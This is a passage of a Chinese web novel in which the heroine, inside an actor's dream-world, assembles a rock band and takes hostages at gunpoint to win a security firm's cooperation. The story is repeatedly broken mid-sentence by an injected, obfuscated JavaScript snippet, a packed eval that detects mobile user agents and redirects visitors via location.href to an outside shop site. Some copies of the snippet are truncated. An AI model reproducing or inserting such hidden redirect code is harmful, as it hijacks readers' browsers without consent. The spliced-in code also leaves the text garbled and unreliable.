温不朽摇摇头，“最近城里发生意外比较多，分给娱乐版块的新闻少了很多。” “没关系，我们现在有更要紧的事要做——你是不是说过还需要乐队？” “对，键盘手，贝斯手，鼓手，至少有这三个吧。” 温不朽眼睛冒光，“我早就跟小谢说过，如果有乐队我的唱功表现力都将上好几个级别！” 温不朽深吸一口气，就要再度唱歌。 谢雨晴条件反射地捂住耳朵：“不要唱！我不想听！” 姜渔则身体力行地掏枪上膛对准温不朽的嘴。 “闭嘴。” “行。” “知道去哪里找乐手吗？” 温不朽有些羞赧地挠挠头：“虽然我在娱乐圈也混了几年了，但一直跟音乐人没什么搭上线的机会。” 他话锋一转：“而且，我们得罪了百盛，小音乐人基本上是不敢跟我们合作了。” “过得去就行了。”姜渔看看左右，说，“有电脑吗？” “有。” 温不朽转身走进自己的卧室，少顷，从里面拿出一台黑灰色的笨重笔记本电脑，递给姜渔。 太复古了。 姜渔忍不住再次吐槽，她打开电脑，登上“猎人论坛”的网页。论坛在幻境沼泽中仍在运行，且温不朽的账号正登录着，显示ID为“月下雨衣少年”。 “你的ID怎么那么像连环杀人魔。” “是吗？”温不朽有些社死，不好意思地说，“我还以为这个名字很伤感很孤独呢。” 姜渔一边打字一边搪塞：“哦，原来你喜欢这种感觉。” “什么感觉？” “就是，你有一种疏离感。” “对对！我要的就是这种感觉。”温不朽一惊，几乎将姜渔引为知音，“怪不得你在未来会成为我的经纪人！你懂我！” 谢雨晴在旁冷笑：“哈哈，有疏泥感吧你，整天脏兮兮的。” 温不朽语重心长：“别再嘴硬了，等姜渔帮我把演唱会开起来，我会给你留最前排的座位的。” 谢雨晴冷冷淡淡：“你是想让我被后排的矿泉水瓶砸死吗，听你唱歌还不如听隔壁分手。” “还没分啊。” 温不朽一听到分手，窗外的雨下得更大了。 姜渔则已经发完了贴，一则《重金悬赏民间键盘手、贝斯手、鼓手，参演万人演唱会，有意留言》的帖子出现在猎人论坛上。 很快多了许多回复。 姜渔简单筛选了一番，去掉插科打诨、水楼混经验、怀疑骗子钓鱼的人，再去掉ID名字杂乱无章，大概率是温不朽幻境沼泽中的充数NPC的人，留下了两个人选。 一个人的ID是“成为喜剧之王吧”，应聘贝斯手。另一个人的ID则是“暗影执森”，应聘鼓手。 两个人都有一个共同点，没有问价钱，态度十分一致，只要有演出机会就可以。 姜渔对这两个NPC十分满意。 事少，愿意配合，且和温不朽的目的相仿。她记得在陆伯原的幻境沼泽中，丁素一行人就曾默默无闻地为陆伯原打造了一辆没有归途的地铁。这两个人，或许也是温不朽内心认可的伙伴，只不过分散各地。 姜渔指着屏幕，向温不朽说：“把地址发给他们。” “好。”温不朽被姜渔一通操作再次折服了，噼里啪啦打起字来：“不愧是金牌经纪人啊，这执行力太恐怖啦。” “等等。”谢雨晴不可置信地问：“你们不会是要在这里排练吧？” 姜渔语气不容置疑：“你也有任务。” 谢雨晴觉得天都要塌了：“我都看不见了还有任务？！” “你好好反省一下你和温不朽到底是什么关系。” “如果你们执意在这里排练，那我和他就是嫌疑人和受害人的关系！” “少来了小谢，等我有了数不清的歌迷，你再管我要签名可就难了。” 温不朽因为姜渔的进度神速，忍不住沾沾自喜起来。 他眉毛一挑，瞄一眼一旁的姜渔，却发现姜渔并没有激动的神色，而是一如既往的平静。 不知道为什么，温不朽从姜渔的气质中嗅出了一丝疲惫。 她的眉眼低垂，总是在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511793|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情，动起来却雷厉风行，像在追逐什么，又像在躲避什么。 “我发完了，他们要晚上才能到这里。”温不朽说着，合上了笔记本电脑，转向姜渔：“我记得你说，在这个时空中，有什么我没有注意到的事情，是看似正常，但实则与真实所违背的……如果找不到，还会死掉？” “嗯。” “那，找到了，会怎么样？” 姜渔淡淡说道：“这个时空，会消失。你和我都会回到正常的时空。” 温不朽愣了一下，默然不语。 他刚想说话，电视里传来主持人的声音，不知道温不朽捕捉到了什么关键词，连忙拿起遥控器调大音量，说：“来了！” 电视中，一名女主持人站在镜头前，身后是犹如鸟巢一样的巨大体育馆，她咬字清晰地播报说：“今日，由许氏安保公司负责的凤巢演唱会的安保工作，已经在有条不紊地进行当中了。” 姜渔：“咦？” “我们可以看到，虽然社会上对曾经靠□□起家的许氏安保公司颇有微词，但现场的安保人员在穿着装扮、待人接物等接待工作上，做得可谓是彬彬有礼。据内部工作人员称，这一次凤巢演唱会，许氏安保公司几乎是全员出动，其战斗实力甚至可以媲美一支小型军队……” 姜渔：“嗯……” “刚刚从我身后运输的，是许氏安保公司重金买下的高端□□。镜头远处呢，可以看到体育馆的天台聚集了三三两两的人员，他们便是许氏引以为傲的金牌狙击手员工了。他们除了熟悉工作场地外，还负责校验许氏正在搭建的反装甲重火力炮台……” 姜渔：“啊？” 温不朽神色凝重：“我刚刚就是在找这个，在我记忆中，凤巢演唱会是很难混进去的。提前熟悉一下对面的安保措施应该很有用。 不是，这已经不是“混进去”的程度了吧？ 谁会用反装甲炮台来对付逃票观众啊？这明明是在防备敌军攻城吧？ 还有用呢。 带你抢银行时你怕生怕死，面对反装甲炮你跃跃欲试？ 姜渔首先是对“许氏集团”在温不朽的幻境沼泽中，以安保公司的形象出现感到了一丝惊讶。 其次，她在听到越发离谱的“安保措施”时，错愕之余…… 她反而生出了一些兴奋。 上一次，她离开远国幼儿园，奔向陆伯原的家乡“圣地”时，幻境沼泽中对她们的围堵强度也骤然上升。 而这一次，面对安保级别诡异地骤升为保家卫国一半强度的异状，姜渔不得不冒出一个想法： 或许这就是正确的路。 越接近终点，阻挠便越多，随之而来的，温不朽找到被异化的精神锚点的机会就越大！ 姜渔盯着电视，正在发愁怎么才能混入演唱会时，女主持人抬手介绍起入镜的一名女生。 “至于这位呢，则是许氏安保公司最年轻的项目负责人之一了。许江竹小姐，您有什么话想对观众朋友们说的吗？” 女主持人身旁，许江竹穿着一身黑色装备服，体型虽然瘦小，却并无松松垮垮的样子，而是精神抖擞，青春盎然。 镜头中，许江竹笑容万分灿烂：“安全，是许氏安保公司成立至今，最重要的议题。我必将不辱使命，为所有观众、所有嘉宾、所有体育馆与许氏的工作人员、以及我最尊敬的父亲，交上一份完美的答卷！” 姜渔忽地笑了。 “你还真说对了。” “提前熟悉一下，确实很有用。” 49. 顶流之梦（五） 一辆黄色出租车停在凤巢体育馆外的广场。 姜渔率先下车，温不朽一路小跑跟上，靠近后问道：“有必要这么急吗？” 姜渔在前面脸色阴沉：“如果你能知道许江竹的电话不就不用这么着急了吗？” “可我为什么会知道人家公司千金的电话？”温不朽脸垮下来，“而且不是你说你跟许江竹认识的吗？你应该知道她的电话才对吧？” 姜渔在心里暗骂：因为你是许江竹手底下的艺人啊，在幻境沼泽里竟然不知道她的电话，网上甚至也搜不到联系方式。 至于姜渔自己，她跟许江竹又不熟，只是小时候抱过她而已。 两人穿过广场的人群，径直来到写有“许氏安保公司”的临时集装箱式房屋处。 姜渔敲敲窗户，窗户应声而开，露出一个青年女人的头来。 她上下打量姜渔几眼，问：“什么事？” 姜渔说：“我找许江竹。” “许总？不好意思，请出示一下预约信息。” “我没有预约。”姜渔向房屋后面张望，其后宛如驻扎了一个营地，来往人员俱是装备了荷枪实弹，这些人各司其职，忙中有序，显然具备高度的纪律性。 “抱歉，没有预约的话许总是不见人的。” 温不朽在旁出声提醒说：“她叫姜渔，跟你们许总可是老相识了，你确定不要通报一下？” 女人言简意赅，态度坚定：“抱歉。” 温不朽只好在后面拽了拽姜渔的衣角，轻声说：“要不然算了，肯定是你和那个许江竹的关系不够好，你见到了人家恐怕也不会卖你面子的。” 姜渔没理他，靠近女人说：“我有重要信息，关系到安保问题。” 女人却不为所动，她略带轻蔑地笑一声，说：“劳您费心了。但许氏很擅长解决安保问题。” 姜渔神色认真：“真的，有人想在会场杀人，你最好把许江竹叫过来，不然后果你担当不起。” 温不朽停了一惊，俯向姜渔耳边焦急说：“说什么呢，别把人家惹急了，没看见他们都带着枪呢吗？作为你未来的金牌艺人，我命令你现在跟我回家！” 姜渔回头怒视：“再说话把你封杀。” 温不朽立即双手举高做投降状，尴尬说：“看来未来的我没什么威信哈。” 女人则故作惊恐，她半个身子都探出窗口，左右张望，说：“真的吗？有人想杀人？在哪？在哪？” 姜渔掏出手枪抵住女人的额头：“在这呢。” 女人表情完全僵住。 场面一时十分肃静。 姜渔微微扣动扳机，说：“说了你担当不起后果了，现在，叫许江竹过来。” 叮叮叮，女人二话没说开始掏出手机打电话，接通后，她说：“许总，这边有位叫做姜渔的女士，好像跟您认识，她说有人想在会场杀人，请您劳驾来一趟吧。” 沉默几秒。 女人又苦着脸说：“许总，我真不知道她到底是谁，她也没说想杀人的人是谁。但您要是不过来的话，被杀的人可能就是我了。” …… 几分钟后，姜渔持枪威胁女人的这一块空地，已经被许氏的人员重重包围。人潮中又分开一条小路，许江竹终于在保镖的簇拥下露面了。 许江竹入场，她确认姜渔不是自己曾认识的人后，微笑说：“姜渔女士，对么？有什么事都好商量，我已经来了，可以先请你放下枪吗？” “我说了，我有重要的信息要跟你说。”姜渔并未放枪，说：“你一个人过来。” 许江竹上前几步，抬手示意保镖不要跟上，又继续走进姜渔。 姜渔的枪瞬间移到了许江竹的额头上，说：“进屋说。” 许江竹大将之风十足，始终没有一丝慌乱，仍维持着微笑说：“好。” 直至被当做人质的女人从临时房屋中撤出，姜渔带着许江竹进了屋子。 临时房屋内只有一套桌椅，一台空调，再无他物。许江竹回身，看到温不朽也进来后，愣了一下，说：“你进来干什么？人质只有我一个就够了。” 温不朽也愣了，“我，我和她一起的呀。” “啊？”许江竹目光在两人身上扫过，略有歉意：“不好意思，我看你鼻青脸肿的，以为是见义勇为后被她揍了的路人呢。” 温不朽表情不爽地说：“我这是拍戏的伤。” 许江竹一副了然的目光，不禁点头：“那你真的很敬业，如果许氏以后开展娱乐工作，希望能招揽到像你这样的演员。” “够了。”姜渔放下枪，说：“许总，我这次来找你，一是有事相求，二是如果你不答应的话，届时在会场真的会有人杀人，这想必是你也不想看到的吧。” “姜渔小姐的作风我已经见识了，但是，许氏不怕威胁。”许江竹淡然一笑，“当然，你依然可以说你的诉求。” “我要一个演出的机会。一首歌的时间即可。” “我只负责安保，这件事，我做不到。” “那么，演出的机会我将自己争取，你则为我提供一首歌的安全时间。”姜渔说，“届时，舞台上发生什么，你不能管，也不能动我的人，把你的冲锋枪和反装甲炮都拿远点。我则保证不会出现流血事件。” “办不到。”许江竹回答得斩钉截铁，“这种演出事故，就是在砸许氏的招牌！” “别急。”姜渔看着许江竹的眼睛：“我有回报。” “……什么？” “帮你成为……”姜渔一字一顿，“许氏唯一的继承人。” 姜渔开始将话题引入自己的计划中。 但她还不确定，温不朽对许江竹的印象又是怎样的？其是否与自己所知道的信息一致？这直接影响到在温不朽幻境沼泽中的幻体许江竹，是一个怎样的人，有着怎样的欲望。 她只能期望，许江竹与陆伯原幻境沼泽中的“悠然哥”类似，是一个自我意识较强的幻体，保留着很多在现实中的本体特点。 姜渔说完后，许江竹愣了一下，她说：“我对那些没有兴趣，我只想证明自己。” 姜渔缓缓说：“我知道，我的话，空口无凭——许乾，我有搞垮他的办法。” 许江竹目光一闪，看向姜渔的眼神变得有所不同。 “欲成大事，必将有所牺牲。一个安保的漏洞，会让许乾为了提前预防，从而放弃申请流程的步骤，动用安防部的核心力量……” 姜渔一开口就是曾在猎人论坛上看到过的一则帖子： “两句话，事在人为，破釜沉舟。这个漏洞，要自己去做。许乾的错误，要错到极致。安保部的核心力量，必须因他而伤亡惨重。” 温不朽听得后背直发凉，他心想这是一个经纪人该做的事吗？怎么比百盛还要冷血还要阴险。不过正常的经纪人也不会整天打打杀杀的。真是个危险的疯子。 转念一想：他未来不就是签到这个人手下了吗？ 温不朽的后背微不可见地弯了一点。 许江竹听后，目光平静：“我对继承人的争夺不感兴趣，只想得到我父亲的认可。而且，这种下作的手段，我十分不齿。很遗憾，你所谓的回报，我并不想要。” 姜渔有些讶异：莫非在温不朽的生活中，从来没窥见过许江竹的真面目？以至于她在温不朽的幻境沼泽中成了一个彻头彻尾的天真纯洁小姑娘？ 那可就难办了。 要想到……一些别的切入角度。 “如果没有别的事，我就先走了，除非你 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“我说了，我不是那些孩子，当时，我和你妈妈是朋友。”姜渔大言不惭地对身为幻体的许江竹进行一些关系上的重构。 “什么？你明明看上去比我大不了几岁！” “药物保养罢了。”姜渔说得若无其事，继续加注：“你妈妈去世后，我去找过你们，但你们都被接走了。” “你……你说‘我们’？你竟然知道我有……” “有一个哥哥？” 许江竹默然，她惊疑不定地看着姜渔，目光中的戒备却渐渐消失了。 真的是来自童年的、妈妈的朋友啊。 她心里想着，觉得内心深处最柔软的一部分记忆被翻了出来。 “你哥虽然不争不抢，但他想保护你的初衷是不变的。再见到他，我会教训他他。”姜渔语气带上了一些感慨，实则她因为不知道在这个幻境沼泽里，陆伯原是什么状态，所以说得并不具体。 许江竹的眼中却泛了红。 她倔强地说：“我不需要一个懦弱的家伙来保护我。” “我知道，你一向坚强惯了，很有主意，也将自己保护得很好。虽然当年那些人……唉，是他们罪有应得。” 姜渔话说到一半冒出了冷汗。 她演得太过，差点又忘记这里是温不朽的幻境沼泽。就算退一万步讲，现实中的许江竹会对温不朽推心置腹，但也很难讲出当年自己童年的具体遭遇。 她不能再赌幻体许江竹究竟会留有多少的真实记忆了。 许江竹眼眶通红，她听到姜渔的话后，轻轻点头说：“是，都过去了。” “没错，但日子还在继续。我找上你，就是希望你能帮我一把。” 姜渔拉回话题，“作为回报，事后你想要什么，我自然也会留在你身边全力以赴。但看上去，你对我的建议并不稀罕。” 姜渔开始画饼。 “不。”许江竹浅浅一笑，说：“我听你说完就已经领悟了，所以拒绝了你。” 哦……小狐狸。熟悉的小狐狸。 姜渔心里吐槽着，面上会心一笑，说：“那，一首歌的时间？” 许江竹眼神真诚：“只要你在台上，所有的许氏员工都不会伤害你一分一毫。” “一言为定，那我们走了，事后，等我来找你。” 姜渔率先移步，经过许江竹，带着温不朽向外走去。 “好，我等你。无论你在做什么，都要注意安全。”许江竹重重点头，说：“保重，姜姨。” …… 姜渔拉开房门的身形一顿。 50. 顶流之梦（六） 温不朽落后姜渔半个身位，向广场外走去。 三言两语之间，让整个许氏集团从两个人的敌人直接变成了两个人的保镖，还挖出了与许氏继承人的羁绊。温不朽不得不再一次叹服于这位未来经纪人的神奇，他看着对方表情平静的侧脸，忽然间也有种岁月静好的感觉，那些在片场中受到的苛责与漠视都变得不重要了，因为他傍上了一个似乎能解决万难的大佬，而这个大佬向他许诺的未来是那么光明。 她多大年纪了？应该活了很久吧？在未来，她又到了怎样的年纪？真是奇怪，她确实有一种历经沧桑的沉稳，但同时，又有着十足的活力。真是一个很有生命力的……长辈。 温不朽开口：“姜姨……” “啧。”姜渔刀了温不朽一眼。 “抱歉，姜渔。”温不朽缩缩脖子，心想她还怪喜欢别人把她喊得年轻点的。 姜渔自顾自走着，说：“我骗她的，我只是抓住了她心里的秘密，便很容易获得她的信任。你也一样，温不朽。” “啊？” “你也被抓住了秘密，就是我说的精神锚点。你活在一个谎言中。” 我只会活在你的谎言中吧，明明从你嘴里说出的都是那么天马行空的事情……温不朽内心吐槽着，面上说：“我刚刚想问，你当时说，这个时空会消失，我们会回到未来的时空，对吗？” “嗯。” “可是有没有办法，活在这个时空？”温不朽斗胆轻声说道。 姜渔站停，瞥了眼温不朽：“什么意思？” “我不想演戏，我对影帝也没有兴趣，我只是想唱歌。”温不朽说，“在这里，我可以唱歌。” “没门。”姜渔大步流星，头也不回地说。 温不朽小跑几步：“是因为你说的我们会死掉吗？就没有别的办法吗？” “没有。而且，你听好，你现在的想法就是错误的，因为你活在一个错误的时空中。真实的你未必是这么想的。”姜渔顿了顿，说：“我之前也救出来一个人，他和你是一样的想法。但是当他清醒过来后，就不再提这种蠢话了。” “哦……原来你还签了别的艺人啊。”温不朽的语气没来由地填了几分酸涩，“有影帝你都不知足？” “乖，只要你听话，等我们回去正常的时空，就把他们都开了，发配边疆。”姜渔谎话说得面不改色。 “也不用那么残酷吧。”温不朽虽在劝阻却喜笑颜开。 两人并排站在路边打车，忽然，一辆白色轿车以极快的速度从远方逼近，途径车辆避之不及，不是急转弯撞向路边，就是被轿车撞到刮噌，姜渔目光一凝——那轿车赫然是冲着他们两个人来的！ “躲开！”姜渔呵斥一声，立即拉着温不朽箭步冲过马路，几个呼吸间来到马路另一侧，下一秒，白色轿车已经碾过两人刚刚所站的位置，撞向了广场上的石墩，整辆车横飞出去！ 温不朽也吓了一跳，忙安慰姜渔：“没事，这里的人开车就是比较不看人……” 这是不看人就能解释的吗？姜渔刚想反驳，却听见身后的店铺内传来一阵轰鸣！ 砰砰砰！ 姜渔还未反应过来，便听到“轰”的一声巨响，烟尘顿时漫天飞扬，迷住姜渔的双眼，她双手挡住，从缝隙中看去，灰色的烟雾中，隐隐显现出一辆大货车的车头。 姜渔心觉不妙，移动目光，只见车头正对着的半空中，温不朽正在空中滑出一道完美的抛物线，落在了马路的对面。 “温不朽！” 姜渔呼喊着，重新穿越马路，来到温不朽身前。 温不朽眼神迷离，脸色惨白。姜渔有些慌了，她伸手去掏温不朽的裤兜，想要赶紧拨打急救电话，手却被温不朽抓住了。 姜渔愣了一下，看着温不朽抓着自己的手，借力撑起身子，然后，摇摇晃晃地站了起来。 他咳嗽几声，说：“这城市的交通真是越来越不好了。” 姜渔傻眼了。她心想都什么时候了还关心市政呢？这不是十分明显的一次谋杀吗？ 温不朽读出姜渔的心思，他惨惨地笑了笑，说：“没事，我之前也会撞车——应该说是每天，不过之前都是被自行车电动车撞到，这么大的还是头一次。” 姜渔这才回过神来，想起来她之前得出的结论：这是个充满了狗血剧情的幻境沼泽。 “那你就没感觉出来不对劲？怎么可能有人每天都会出车祸？” “你这么说，确实不对劲。”温不朽一愣，思索着，表情认真说：“这里的司机素质实在太低了。赚钱后，我要搬到别的城市。” “是你太蠢了，木头。”姜渔暗暗咬牙，“怎么不撞死你呢。” …… 姜渔确认温不朽在经历如此变态的车祸后，身体确实无恙后，才和温不朽打车回家。 温不朽刚刚开门，两人就听到谢雨晴崩溃的喊声： “温不朽！带着你的狐朋狗友给我滚出去！” 两人一愣，对视一眼，温不朽说：“是乐队的成员来了吗？” “狗屁乐队！我才不要听你在这作法呢！” 姜渔听到谢雨晴的抱怨，深有同感，她随着温不朽进去，看到客厅里站着两个人，身形一顿。 一个女生，还穿着校服，上面写着“三十中”的字样，长相青涩，看上去跟温不朽在校园影视基地见到的那些学生演员完全不一样，有一种还未走出社会的拘谨与怯懦。 女生背着一把贝斯，束手束脚地点点头，说：“你们好，我叫关一蔓。ID是成为喜剧之王吧。” 这个名字，姜渔见过。这张脸，姜渔也见过。 关一蔓，联邦冉冉升起的歌坛新星，凭一把穿透力极强的好嗓子，演唱了诸多摇滚歌曲，控场力堪称恐怖，坐拥无数歌迷，是歌坛男女通杀的天赋怪物。 另一边，一个男生盯着乱糟糟的头发，遮住了眉眼，看不清表情，身穿廉价但整洁的黑色西服，坐在一台架子鼓后，整个人有一种禁欲气息。他抬起头，双眼死气沉沉的，说：“暗影执森，宫少云，鼓手。” 这个名字，这张脸，姜渔同样见过。 宫少云，联邦的顶流歌神，少年就以作词作曲的能力捧红了诸多偶像团体，之后自己独立出道，初登舞台便唱哭众多歌坛前辈，随后的歌曲产出如连绵不绝的巨浪，类型繁多，席卷联邦，只不过为人低调神秘，自成名后从未开过演唱会，只在媒体发行歌曲，如此才给了歌坛其余歌手一些盈利的空间。 大抵是性子相仿的原因，曾有消息说温不朽与宫少云是很好的朋友。 而今，姜渔呆呆地看向温不朽。 他好大的面子啊，敢让这两位给他陪唱？ 温不朽却一脸不满：“怎么来了这么两个菜鸡啊？不是畏畏缩缩的，就是看上去就是社恐的，都没在娱乐圈混过吧，在摄像头面前演出过吗？有没有过舞台经验？我可不想自己唱到一半，你们就被大场面吓破了胆。” 你怎么敢的啊！姜渔目瞪口呆。 关一蔓连连鞠躬，说：“抱歉前辈，我只是看到有演出机会就来了。因为我总是被别人欺负，我想有机会证明自己。” 这可怜孩子，在温不朽幻境沼泽里被祸害成啥样了。 姜渔其实是蛮喜欢关一蔓的，她超绝的舞台感染力曾一度是她打工时的力量源泉，此时面对幻体，依然会心有不忍，于是说：“被欺负？我觉得你很专业啊，怎么会被欺负？” 温不朽来到自己的爱好领域，与姜渔对话都多了些底气，怀疑地问：“专业？还没唱就知道专业？” 姜渔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为我的手染了病，三天后就不能彻底不能打鼓了。我没有退路，我只能认为我们一定会成功的。” 姜渔扶额：他的每一句话都是在立flag！ 诚然，立flag虽然也是一种让观众很容易猜到的剧情，但你立得也太多了吧？感觉背上插满了flag好不好，简直是一台行走的毒奶机器。 姜渔彷佛能看到几天后的场景，宫少云在舞台上手疾突发，强忍着打鼓，大家眼含热泪看着他手一边呲血一边演出，最后演出大获成功，但是宫少云失血过多就要挂了，几个人哭天喊地地围在他身边说着活过来啊的台词，宫少云却只是微微一笑说“我们不是要拼命庆祝吗？”最后眼一闭彻底咽气了，几天后演出的奖项摆到宫少云故乡的坟前，表示他终于做出成绩回到故乡了。 姜渔脑补了众人的结局，更加无语了。 “真服了，那你手出问题了算谁的？” “算我的。”宫少云的笑容中多了一丝温馨，“我这双手，本就是要用来拥抱我的爱人和孩子的。等赚到钱后，我就回家带着他们回到故乡。” 别再立flag了大哥…… …… 等等，真的假的？这句话，是虚构的事情还是温不朽知道的秘密？ 歌神宫少云。 他结婚了？还有了孩子？ 没见新闻上说这事啊？ 啪！ 姜渔还沉浸在这无意中吐露的惊天巨瓜中，温不朽已经拍了拍手。 “好吧！我看你们个个也是郁不得志……既然如此！排练开始！等到了演唱会上，让我们拿回不属于我们的一切！” 51. 顶流之梦（七） 温不朽话音落下，房间中最激动的是谢雨晴。 “你闭嘴啊！这里也是我的家！不许唱！” “小谢，你还不懂，决战现在已经开始了——”温不朽伸出手指指向谢雨晴，虽然对方也看不见，他还是表情严肃地说：“我现在就要夺回不属于我的客厅！” “我打死你！”谢雨晴听得胸口一闷，弯下腰双手忙碌地在桌上左右寻找合适的武器。 “等等！”温不朽怕谢雨晴磕到，连忙上前扶住她，说：“等我唱完，我就搬走，这房子我留给你，这样总可以了吧？” 谢雨晴呆了一下，有些犹豫。 温不朽继续说：“房租我会照缴。” “……你说话算话。”谢雨晴也不知道为什么，她觉得自己应该感到开心的，却莫名涌上一种失落，语气中带着一丝迷惘。 “当然！” 温不朽喜上眉梢，他转过身，关一蔓与宫少云已经架势做足，他点点头，转身从卧室中抱出了一把木色吉他，他踮着脚打着节奏，清了清嗓子，开始吟唱—— “一棵大树，哇啊哇啊，死了！” 姜渔与谢雨晴都做好了准备，她们在温不朽踮脚时就已经捂上耳朵。 反观关一蔓与宫少云。 他们两个显然没做好心理准备，不约而同张大了嘴，看着沉浸其中的温不朽，良久才回过神来，手忙脚乱地跟上温不朽的节奏。 关一蔓目瞪口呆地看着温不朽手上跃动的和弦，心想：“是我在校园里一直没有接触过演唱会的冲击力吗？我觉得自己要被撞飞了！” 宫少云面色复杂地看着温不朽扭来扭去的背影，心想：“是我离开摇滚圈很久了吗？真是超级先锋的作词作曲哇。” “是一个好难捉摸的主唱大人啊。”两名成员都在心里同时冒出这个想法。 一时间，小小的客厅中噼里啪啦的，犹如群魔乱舞。 一首歌下来，温不朽十分不满地转身训斥：“这样不行，你们跟不上我的节奏。先吃饭，饭后我会亲自指导我们的配合。” 他又转身向姜渔挑了挑眉：“怎么样？我说过加上乐队很不一样吧，虽然还缺了键盘手……你以后让我做音乐是不是也很有发展？” 姜渔点点头：“再努力一点就可以去路边乞讨了。” 天色已晚，温不朽叫了几人的外卖，谢雨晴为了弥补刚刚受到的摧残，点了一大堆甜点蛋糕，让温不朽好一阵肉疼。 再吃完饭，几人又在温不朽的指导下，排练了几次，直到邻居疯狂敲墙后，温不朽才叫了停。 “很不错了！这样能行！我会上传我们的录像，相信明天我们就会引爆互联网的！”温不朽擦了擦汗，说：“关于乐队名字，大家有什么想法？” “就直接叫温不朽的乐队吧。”谢雨晴认真说，“这样大家只会骂你，免得连累一蔓和少云。” 排练间隙中的攀谈，已经让几人熟悉几分。谢雨晴更是能听出来关一蔓和宫少云即便听从了温不朽的指导，但演奏的技术显然远在温不朽之上。 关一蔓：“霓虹回声怎么样？” 姜渔听过，这是关一蔓加入过的乐队。 宫少云：“电路之锈如何？” 姜渔也听过，这是宫少云的一张专辑名称。 温不朽看向姜渔，姜渔略微思考，便说：“这些对你来说，无异于南柯一梦，一枕黄粱……” “不错！你说得特别对！既然如此，就叫……”温不朽卖了个关子，环视众人，说：“长歌吧。” 姜渔：“和我说的有什么关系吗？” 温不朽老实说：“没有，只是我早就想好的。” 这个牲口早想好了还问我们想法。姜渔想把温不朽的头摁到吉他里面去。 “好了，我已经上传好了，大家休息吧，明天还要起早。”温不朽有些不好意思地说：“不过我这里房间不够，我和宫少云可以睡客厅，姜渔和关一蔓在我房间里挤一挤可不可以？” 谢雨晴正要说话，姜渔摆手说：“不必，我也睡在客厅就好。” 见姜渔言辞坚决，关一蔓道了谢，就去洗漱了，温不朽则从卧室中贡献出三套被子，两套铺在客厅地板上，一套用来给姜渔在沙发上睡觉时盖。一番折腾下来，小屋中气氛有了种温馨的和谐感，虽然有三个新住户，却像熟悉很久的大家庭一样。 温不朽熄了灯，倒在地铺上，一阵沉默后，忽然说：“姜渔。” “嗯？” “你会不会很兴奋？这种一起奋斗的感觉？没准我们以后都会成为摇滚巨星呢。” “别兴奋了，快睡。”姜渔淡淡说道，她知道这只是温不朽自己兴奋得睡不着。 而且她比温不朽更知道现在的含金量：一个影帝，一个歌神，就睡在自己旁边不远，甚至伸伸腿就会给温不朽来上一脚。 但她现在的心里只有对现实中情况的担忧，并无一丝心动的涟漪，甚至连八卦歌神孩子的心思都没有。 “好吧。”温不朽转了个身，自顾自低声嘟囔：“真不知道你到底想不想帮我。” 姜渔假装没听见。很快，客厅中陷入了沉默，再无人说话，呼吸趋向平缓，都已经睡着。 姜渔却仍然呆呆看着天花板，想着怎样尽快破局。 而就在这时，一道声音传入她的脑海—— “姜小渔！姜小渔！” 姜渔腾地起身，轻声说：“我在。现实那边过去多久了。” “将近一个小时。”纪小麦回答道，“你那边怎么样了？” “还算顺利。” 姜渔听到纪小麦的声音，长出一口气，她心里有了底，顿时又充满希望，“我会尽快。” “嗯，也不知道这次通话会维持多久。”纪小麦语气忧愁，“不过就算很长，我也帮不上什么忙。” 姜渔淡淡地笑了：“等以后置办些有用的家具，或许就可以了。” 很久，她都没有再听到纪小麦的声音了。 看来是结束了。 姜渔深呼吸一次，正要躺下时，忽然听到卧室的方向传来方向。黑暗中，有脚步声响起—— “姜渔，还没睡吗？我听到你在说话。” 是谢雨晴轻轻的声音，她压低了声音，音色有一种恬静的温柔。 “哦，没事……需要我帮忙吗？”姜渔躺在沙发上说。 “不用，我在家里很熟悉的呀。” 走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温不朽的卧室打开，又一个长发披肩的“温不朽”走出来了，她穿着校裤与一件短袖，攥着手机，似乎正在玩什么游戏。 “怎么都没睡啊？”这个“温不朽”说话时正是关一蔓的声音。 “小谢怕他们着凉，拿了被子。” 姜渔警惕地缓缓起身，她蹦出了一个想法，几步移动到客厅窗前，向下望去，顿时头皮发麻！ 只见楼下杂乱的街道两侧，仍然亮着点点灯火，那是摆摊卖夜宵的小贩。下了夜班的打工党们稀稀疏疏地来到这条街道，驻留或回家。而这些男男女女、老老少少，所有人的脸，全部变成了温不朽的脸！ 他们表情不一，期待，死板，疲惫。有人眼中闪着凶光，不知在夜幕下要去做什么事情，也有人满眼泪花，不知经历了怎样的苦痛。 姜渔回身，呆呆看向沉睡中的温不朽。 他睡得正香。 姜渔终于明白，这就是温不朽的幻境沼泽，他活在自己缔造的世界中。当黑暗降临，陷入沉睡，所有幻体都重新变回温不朽的模样。身为一名影帝，他演绎过太多角色的人生，换上过无数的假面。 这些假面将他拥上神坛，也将他死死拉扯在幻境沼泽中。 姜渔咽了口唾沫，她看向房间中两个“温不朽”，忍着强烈的不适说：“都去睡吧，我会给他们盖被。” 两个“温不朽”都点点头，转身回房间了。 姜渔给地上两个“温不朽”盖上被子后，蜷缩在沙发上，盯着他们许久，才沉沉地睡去。 52. 顶流之梦（八） 清晨，姜渔在洗漱声中悠悠醒转。 天微微亮，客厅中还带着一些凉气，姜渔裹着被子坐在沙发上。她眼神还有些迷离，看到过道的卫生间门打开了，温不朽披着一头长发，穿着鹅黄色的紧俏连衣裙，踩着高跟鞋笨拙地走了出来，半只脚还漏在后面。 姜渔揉了揉眼睛。 